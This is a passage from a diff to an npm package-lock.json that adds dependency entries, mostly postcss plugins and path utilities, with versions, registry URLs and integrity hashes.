"0.1.10", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.10.tgz", + "integrity": "sha512-7lf7qcQidTku0Gu3YDPc8DJ1q7OOucfa/BSsIwjuh56VU7katFvuM8hULfkwB3Fns/rsVF7PwPKVw1sl5KQS9w==" + }, + "path-type": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==" + }, + "performance-now": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/performance-now/-/performance-now-2.1.0.tgz", + "integrity": "sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow==" + }, + "picocolors": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.1.tgz", + "integrity": "sha512-anP1Z8qwhkbmu7MFP5iTt+wQKXgwzf7zTyGlcdzabySa9vd0Xt392U0rVmz9poOaBj0uHJKyyo9/upk0HrEQew==" + }, + "picomatch": { + "version": "2.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==" + }, + "pify": { + "version": "2.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==" + }, + "pirates": { + "version": "4.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/pirates/-/pirates-4.0.5.tgz", + "integrity": "sha512-8V9+HQPupnaXMA23c5hvl69zXvTwTzyAYasnkb0Tts4XvO4CliqONMOnvlq26rkhLC3nWDFBJf73LU1e1VZLaQ==" + }, + "pkg-dir": { + "version": "4.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/pkg-dir/-/pkg-dir-4.2.0.tgz", + "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", + "requires": { + "find-up": "^4.0.0" + }, + "dependencies": { + "find-up": { + "version": "4.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "requires": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + } + }, + "locate-path": { + "version": "5.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "requires": { + "p-locate": "^4.1.0" + } + }, + "p-limit": { + "version": "2.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "requires": { + "p-try": "^2.0.0" + } + }, + "p-locate": { + "version": "4.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "requires": { + "p-limit": "^2.2.0" + } + } + } + }, + "pkg-up": { + "version": "3.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/pkg-up/-/pkg-up-3.1.0.tgz", + "integrity": "sha512-nDywThFk1i4BQK4twPQ6TA4RT8bDY96yeuCVBWL3ePARCiEKDRSrNGbFIgUJpLp+XeIR65v8ra7WuJOFUBtkMA==", + "requires": { + "find-up": "^3.0.0" + }, + "dependencies": { + "find-up": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "requires": { + "locate-path": "^3.0.0" + } + }, + "locate-path": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "requires": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + } + }, + "p-limit": { + "version": "2.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "requires": { + "p-try": "^2.0.0" + } + }, + "p-locate": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "requires": { + "p-limit": "^2.0.0" + } + }, + "path-exists": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==" + } + } + }, + "postcss": { + "version": "8.4.24", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss/-/postcss-8.4.24.tgz", + "integrity": "sha512-M0RzbcI0sO/XJNucsGjvWU9ERWxb/ytp1w6dKtxTKgixdtQDq4rmx/g8W1hnaheq9jgwL/oyEdH5Bc4WwJKMqg==", + "requires": { + "nanoid": "^3.3.6", + "picocolors": "^1.0.0", + "source-map-js": "^1.0.2" + } + }, + "postcss-attribute-case-insensitive": { + "version": "5.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-attribute-case-insensitive/-/postcss-attribute-case-insensitive-5.0.2.tgz", + "integrity": "sha512-XIidXV8fDr0kKt28vqki84fRK8VW8eTuIa4PChv2MqKuT6C9UjmSKzen6KaWhWEoYvwxFCa7n/tC1SZ3tyq4SQ==", + "requires": { + "postcss-selector-parser": "^6.0.10" + } + }, + "postcss-browser-comments": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-browser-comments/-/postcss-browser-comments-4.0.0.tgz", + "integrity": "sha512-X9X9/WN3KIvY9+hNERUqX9gncsgBA25XaeR+jshHz2j8+sYyHktHw1JdKuMjeLpGktXidqDhA7b/qm1mrBDmgg==", + "requires": {} + }, + "postcss-calc": { + "version": "8.2.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-calc/-/postcss-calc-8.2.4.tgz", + "integrity": "sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q==", + "requires": { + "postcss-selector-parser": "^6.0.9", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-clamp": { + "version": "4.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-clamp/-/postcss-clamp-4.1.0.tgz", + "integrity": "sha512-ry4b1Llo/9zz+PKC+030KUnPITTJAHeOwjfAyyB60eT0AorGLdzp52s31OsPRHRf8NchkgFoG2y6fCfn1IV1Ow==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-color-functional-notation": { + "version": "4.2.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-color-functional-notation/-/postcss-color-functional-notation-4.2.4.tgz", + "integrity": "sha512-2yrTAUZUab9s6CpxkxC4rVgFEVaR6/2Pipvi6qcgvnYiVqZcbDHEoBDhrXzyb7Efh2CCfHQNtcqWcIruDTIUeg==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-color-hex-alpha": { + "version": "8.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-color-hex-alpha/-/postcss-color-hex-alpha-8.0.4.tgz", + "integrity": "sha512-nLo2DCRC9eE4w2JmuKgVA3fGL3d01kGq752pVALF68qpGLmx2Qrk91QTKkdUqqp45T1K1XV8IhQpcu1hoAQflQ==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-color-rebeccapurple": { + "version": "7.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-color-rebeccapurple/-/postcss-color-rebeccapurple-7.1.1.tgz", + "integrity": "sha512-pGxkuVEInwLHgkNxUc4sdg4g3py7zUeCQ9sMfwyHAT+Ezk8a4OaaVZ8lIY5+oNqA/BXXgLyXv0+5wHP68R79hg==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-colormin": { + "version": "5.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-colormin/-/postcss-colormin-5.3.1.tgz", + "integrity": "sha512-UsWQG0AqTFQmpBegeLLc1+c3jIqBNB0zlDGRWR+dQ3pRKJL1oeMzyqmH3o2PIfn9MBdNrVPWhDbT769LxCTLJQ==", + "requires": { + "browserslist": "^4.21.4", + "caniuse-api": "^3.0.0", + "colord": "^2.9.1", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-convert-values": { + "version": "5.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-convert-values/-/postcss-convert-values-5.1.3.tgz", + "integrity": "sha512-82pC1xkJZtcJEfiLw6UXnXVXScgtBrjlO5CBmuDQc+dlb88ZYheFsjTn40+zBVi3DkfF7iezO0nJUPLcJK3pvA==", + "requires": { + "browserslist": "^4.21.4", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-custom-media": { + "version": "8.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-custom-media/-/postcss-custom-media-8.0.2.tgz", + "integrity": "sha512-7yi25vDAoHAkbhAzX9dHx2yc6ntS4jQvejrNcC+csQJAXjj15e7VcWfMgLqBNAbOvqi5uIa9huOVwdHbf+sKqg==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-custom-properties": { + "version": "12.1.11", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-custom-properties/-/postcss-custom-properties-12.1.11.tgz", + "integrity": "sha512-0IDJYhgU8xDv1KY6+VgUwuQkVtmYzRwu+dMjnmdMafXYv86SWqfxkc7qdDvWS38vsjaEtv8e0vGOUQrAiMBLpQ==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-custom-selectors": { + "version": "6.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-custom-selectors/-/postcss-custom-selectors-6.0.3.tgz", + "integrity": "sha512-fgVkmyiWDwmD3JbpCmB45SvvlCD6z9CG6Ie6Iere22W5aHea6oWa7EM2bpnv2Fj3I94L3VbtvX9KqwSi5aFzSg==", + "requires": { + "postcss-selector-parser": "^6.0.4" + } + }, + "postcss-dir-pseudo-class": { + "version": "6.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-dir-pseudo-class/-/postcss-dir-pseudo-class-6.0.5.tgz", + "integrity": "sha512-eqn4m70P031PF7ZQIvSgy9RSJ5uI2171O/OO/zcRNYpJbvaeKFUlar1aJ7rmgiQtbm0FSPsRewjpdS0Oew7MPA==", + "requires": { + "postcss-selector-parser": "^6.0.10" + } + }, + "postcss-discard-comments": { + "version": "5.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-discard-comments/-/postcss-discard-comments-5.1.2.tgz", + "integrity": "sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ==", + "requires": {} + }, + "postcss-discard-duplicates": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-discard-duplicates/-/postcss-discard-duplicates-5.1.0.tgz", + "integrity": "sha512-zmX3IoSI2aoenxHV6C7plngHWWhUOV3sP1T8y2ifzxzbtnuhk1EdPwm0S1bIUNaJ2eNbWeGLEwzw8huPD67aQw==", + "requires": {} + }, + "postcss-discard-empty": { + "version": "5.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-discard-empty/-/postcss-discard-empty-5.1.1.tgz", + "integrity": "sha512-zPz4WljiSuLWsI0ir4Mcnr4qQQ5e1Ukc3i7UfE2XcrwKK2LIPIqE5jxMRxO6GbI3cv//ztXDsXwEWT3BHOGh3A==", + "requires": {} + }, + "postcss-discard-overridden": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-discard-overridden/-/postcss-discard-overridden-5.1.0.tgz", + "integrity": "sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw==", + "requires": {} + }, + "postcss-double-position-gradients": { + "version": "3.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-double-position-gradients/-/postcss-double-position-gradients-3.1.2.tgz", + "integrity": "sha512-GX+FuE/uBR6eskOK+4vkXgT6pDkexLokPaz/AbJna9s5Kzp/yl488pKPjhy0obB475ovfT1Wv8ho7U/cHNaRgQ==", + "requires": { + "@csstools/postcss-progressive-custom-properties": "^1.1.0", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-env-function": { + "version": "4.0.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-env-function/-/postcss-env-function-4.0.6.tgz", + "integrity": "sha512-kpA6FsLra+NqcFnL81TnsU+Z7orGtDTxcOhl6pwXeEq1yFPpRMkCDpHhrz8CFQDr/Wfm0jLiNQ1OsGGPjlqPwA==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-flexbugs-fixes": { + "version": "5.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-flexbugs-fixes/-/postcss-flexbugs-fixes-5.0.2.tgz", + "integrity": "sha512-18f9voByak7bTktR2QgDveglpn9DTbBWPUzSOe9g0N4WR/2eSt6Vrcbf0hmspvMI6YWGywz6B9f7jzpFNJJgnQ==", + "requires": {} + }, + "postcss-focus-visible": { + "version": "6.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-focus-visible/-/postcss-focus-visible-6.0.4.tgz", + "integrity": "sha512-QcKuUU/dgNsstIK6HELFRT5Y3lbrMLEOwG+A4s5cA+fx3A3y/JTq3X9LaOj3OC3ALH0XqyrgQIgey/MIZ8Wczw==", + "requires": { + "postcss-selector-parser": "^6.0.9" + } + }, + "postcss-focus-within": { + "version": "5.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-focus-within/-/postcss-focus-within-5.0.4.tgz", + "integrity": "sha512-vvjDN++C0mu8jz4af5d52CB184ogg/sSxAFS+oUJQq2SuCe7T5U2iIsVJtsCp2d6R4j0jr5+q3rPkBVZkXD9fQ==", + "requires": { + "postcss-selector-parser": "^6.0.9" + } + }, + "postcss-font-variant": { + "version": "5.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-font-variant/-/postcss-font-variant-5.0.0.tgz", + "integrity": "sha512-1fmkBaCALD72CK2a9i468mA/+tr9/1cBxRRMXOUaZqO43oWPR5imcyPjXwuv7PXbCid4ndlP5zWhidQVVa3hmA==", + "requires": {} + }, + "postcss-gap-properties": { + "version": "3.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-gap-properties/-/postcss-gap-properties-3.0.5.tgz", + "integrity": "sha512-IuE6gKSdoUNcvkGIqdtjtcMtZIFyXZhmFd5RUlg97iVEvp1BZKV5ngsAjCjrVy+14uhGBQl9tzmi1Qwq4kqVOg==", + "requires": {} + }, + "postcss-image-set-function": { + "version": "4.0.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-image-set-function/-/postcss-image-set-function-4.0.7.tgz", + "integrity": "sha512-9T2r9rsvYzm5ndsBE8WgtrMlIT7VbtTfE7b3BQnudUqnBcBo7L758oc+o+pdj/dUV0l5wjwSdjeOH2DZtfv8qw==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-import": { + "version": "15.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-import/-/postcss-import-15.1.0.tgz", + "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==", + "requires": { + "postcss-value-parser": "^4.0.0", + "read-cache": "^1.0.0", + "resolve": "^1.1.7" + } + }, + "postcss-initial": { + "version": "4.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-initial/-/postcss-initial-4.0.1.tgz", + "integrity": "sha512-0ueD7rPqX8Pn1xJIjay0AZeIuDoF+V+VvMt/uOnn+4ezUKhZM/NokDeP6DwMNyIoYByuN/94IQnt5FEkaN59xQ==", + "requires": {} + }, + "postcss-js": { + "version": "4.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-js/-/postcss-js-4.0.1.tgz", + "integrity": "sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw==", + "requires": { + "camelcase-css": "^2.0.1" + } + }, + "postcss-lab-function": { + "version": "4.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-lab-function/-/postcss-lab-function-4.2.1.tgz", + "integrity": "sha512-xuXll4isR03CrQsmxyz92LJB2xX9n+pZJ5jE9JgcnmsCammLyKdlzrBin+25dy6wIjfhJpKBAN80gsTlCgRk2w==", + "requires": { + "@csstools/postcss-progressive-custom-properties": "^1.1.0", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-load-config": { + "version": "4.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-load-config/-/postcss-load-config-4.0.1.tgz", + "integrity": "sha512-vEJIc8RdiBRu3oRAI0ymerOn+7rPuMvRXslTvZUKZonDHFIczxztIyJ1urxM1x9JXEikvpWWTUUqal5j/8QgvA==", + "requires": { + "lilconfig": "^2.0.5", + "yaml": "^2.1.1" + }, + "dependencies": { + "yaml": { + "version": "2.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/yaml/-/yaml-2.3.1.tgz", + "integrity": "sha512-2eHWfjaoXgTBC2jNM1LRef62VQa0umtvRiDSk6HSzW7RvS5YtkabJrwYLLEKWBc8a5U2PTSCs+dJjUTJdlHsWQ==" + } + } + }, + "postcss-loader": { + "version": "6.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-loader/-/postcss-loader-6.2.1.tgz", + "integrity": "sha512-WbbYpmAaKcux/P66bZ40bpWsBucjx/TTgVVzRZ9yUO8yQfVBlameJ0ZGVaPfH64hNSBh63a+ICP5nqOpBA0w+Q==", + "requires": { + "cosmiconfig": "^7.0.0", + "klona": "^2.0.5", + "semver": "^7.3.5" + } + }, + "postcss-logical": { + "version": "5.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-logical/-/postcss-logical-5.0.4.tgz", + "integrity": "sha512-RHXxplCeLh9VjinvMrZONq7im4wjWGlRJAqmAVLXyZaXwfDWP73/oq4NdIp+OZwhQUMj0zjqDfM5Fj7qby+B4g==", + "requires": {} + }, + "postcss-media-minmax": { + "version": "5.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-media-minmax/-/postcss-media-minmax-5.0.0.tgz", + "integrity": "sha512-yDUvFf9QdFZTuCUg0g0uNSHVlJ5X1lSzDZjPSFaiCWvjgsvu8vEVxtahPrLMinIDEEGnx6cBe6iqdx5YWz08wQ==", + "requires": {} + }, + "postcss-merge-longhand": { + "version": "5.1.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-merge-longhand/-/postcss-merge-longhand-5.1.7.tgz", + "integrity": "sha512-YCI9gZB+PLNskrK0BB3/2OzPnGhPkBEwmwhfYk1ilBHYVAZB7/tkTHFBAnCrvBBOmeYyMYw3DMjT55SyxMBzjQ==", + "requires": { + "postcss-value-parser": "^4.2.0", + "stylehacks": "^5.1.1" + } + }, + "postcss-merge-rules": { + "version": "5.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-merge-rules/-/postcss-merge-rules-5.1.4.tgz", + "integrity": "sha512-0R2IuYpgU93y9lhVbO/OylTtKMVcHb67zjWIfCiKR9rWL3GUk1677LAqD/BcHizukdZEjT8Ru3oHRoAYoJy44g==", + "requires": { + "browserslist": "^4.21.4", + "caniuse-api": "^3.0.0", + "cssnano-utils": "^3.1.0", + "postcss-selector-parser": "^6.0.5" + } + }, + "postcss-minify-font-values": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-minify-font-values/-/postcss-minify-font-values-5.1.0.tgz", + "integrity": "sha512-el3mYTgx13ZAPPirSVsHqFzl+BBBDrXvbySvPGFnQcTI4iNslrPaFq4muTkLZmKlGk4gyFAYUBMH30+HurREyA==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-minify-gradients": { + "version": "5.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-minify-gradients/-/postcss-minify-gradients-5.1.1.tgz", + "integrity": "sha512-VGvXMTpCEo4qHTNSa9A0a3D+dxGFZCYwR6Jokk+/3oB6flu2/PnPXAh2x7x52EkY5xlIHLm+Le8tJxe/7TNhzw==", + "requires": { + "colord": "^2.9.1", + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-minify-params": { + "version": "5.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-minify-params/-/postcss-minify-params-5.1.4.tgz", + "integrity": "sha512-+mePA3MgdmVmv6g+30rn57USjOGSAyuxUmkfiWpzalZ8aiBkdPYjXWtHuwJGm1v5Ojy0Z0LaSYhHaLJQB0P8Jw==", + "requires": { + "browserslist": "^4.21.4", + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-minify-selectors": { + "version": "5.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-minify-selectors/-/postcss-minify-selectors-5.2.1.tgz", + "integrity": "sha512-nPJu7OjZJTsVUmPdm2TcaiohIwxP+v8ha9NehQ2ye9szv4orirRU3SDdtUmKH+10nzn0bAyOXZ0UEr7OpvLehg==", + "requires": { + "postcss-selector-parser": "^6.0.5" + } + }, + "postcss-modules-extract-imports": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.0.0.tgz", + "integrity": "sha512-bdHleFnP3kZ4NYDhuGlVK+CMrQ/pqUm8bx/oGL93K6gVwiclvX5x0n76fYMKuIGKzlABOy13zsvqjb0f92TEXw==", + "requires": {} + }, + "postcss-modules-local-by-default": { + "version": "4.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.3.tgz", + "integrity": "sha512-2/u2zraspoACtrbFRnTijMiQtb4GW4BvatjaG/bCjYQo8kLTdevCUlwuBHx2sCnSyrI3x3qj4ZK1j5LQBgzmwA==", + "requires": { + "icss-utils": "^5.0.0", + "postcss-selector-parser": "^6.0.2", + "postcss-value-parser": "^4.1.0" + } + }, + "postcss-modules-scope": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-modules-scope/-/postcss-modules-scope-3.0.0.tgz", + "integrity": "sha512-hncihwFA2yPath8oZ15PZqvWGkWf+XUfQgUGamS4LqoP1anQLOsOJw0vr7J7IwLpoY9fatA2qiGUGmuZL0Iqlg==", + "requires": { + "postcss-selector-parser": "^6.0.4" + } + }, + "postcss-modules-values": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-modules-values/-/postcss-modules-values-4.0.0.tgz", + "integrity": "sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==", + "requires": { + "icss-utils": "^5.0.0" + } + }, + "postcss-nested": { + "version": "6.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-nested/-/postcss-nested-6.0.1.tgz", + "integrity": "sha512-mEp4xPMi5bSWiMbsgoPfcP74lsWLHkQbZc3sY+jWYd65CUwXrUaTp0fmNpa01ZcETKlIgUdFN/MpS2xZtqL9dQ==", + "requires": { + "postcss-selector-parser": "^6.0.11" + } + }, + "postcss-nesting": { + "version": "10.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-nesting/-/postcss-nesting-10.2.0.tgz", + "integrity": "sha512-EwMkYchxiDiKUhlJGzWsD9b2zvq/r2SSubcRrgP+jujMXFzqvANLt16lJANC+5uZ6hjI7lpRmI6O8JIl+8l1KA==", + "requires": { + "@csstools/selector-specificity": "^2.0.0", + "postcss-selector-parser": "^6.0.10" + } + }, + "postcss-normalize": { + "version": "10.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-normalize/-/postcss-normalize-10.0.1.tgz", + "integrity": "sha512-+5w18/rDev5mqERcG3W5GZNMJa1eoYYNGo8gB7tEwaos0ajk3ZXAI4mHGcNT47NE+ZnZD1pEpUOFLvltIwmeJA==", + "requires": { + "@csstools/normalize.css": "*", + "postcss-browser-comments": "^4", + "sanitize.css": "*" + } + }, + "postcss-normalize-charset": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-normalize-charset/-/postcss-normalize-charset-5.1.0.tgz", + "integrity": "sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg==", + "requires": {} + }, + "postcss-normalize-display-values": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-normalize-display-values/-/postcss-normalize-display-values-5.1.0.tgz", + "integrity": "sha512-WP4KIM4o2dazQXWmFaqMmcvsKmhdINFblgSeRgn8BJ6vxaMyaJkwAzpPpuvSIoG/rmX3M+IrRZEz2H0glrQNEA==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-normalize-positions": { + "version": "5.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-normalize-positions/-/postcss-normalize-positions-5.1.1.tgz", + "integrity": "sha512-6UpCb0G4eofTCQLFVuI3EVNZzBNPiIKcA1AKVka+31fTVySphr3VUgAIULBhxZkKgwLImhzMR2Bw1ORK+37INg==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-normalize-repeat-style": { + "version": "5.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-5.1.1.tgz", + "integrity": "sha512-mFpLspGWkQtBcWIRFLmewo8aC3ImN2i/J3v8YCFUwDnPu3Xz4rLohDO26lGjwNsQxB3YF0KKRwspGzE2JEuS0g==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-normalize-string": { + "version": "5.1.0", + "resolved": 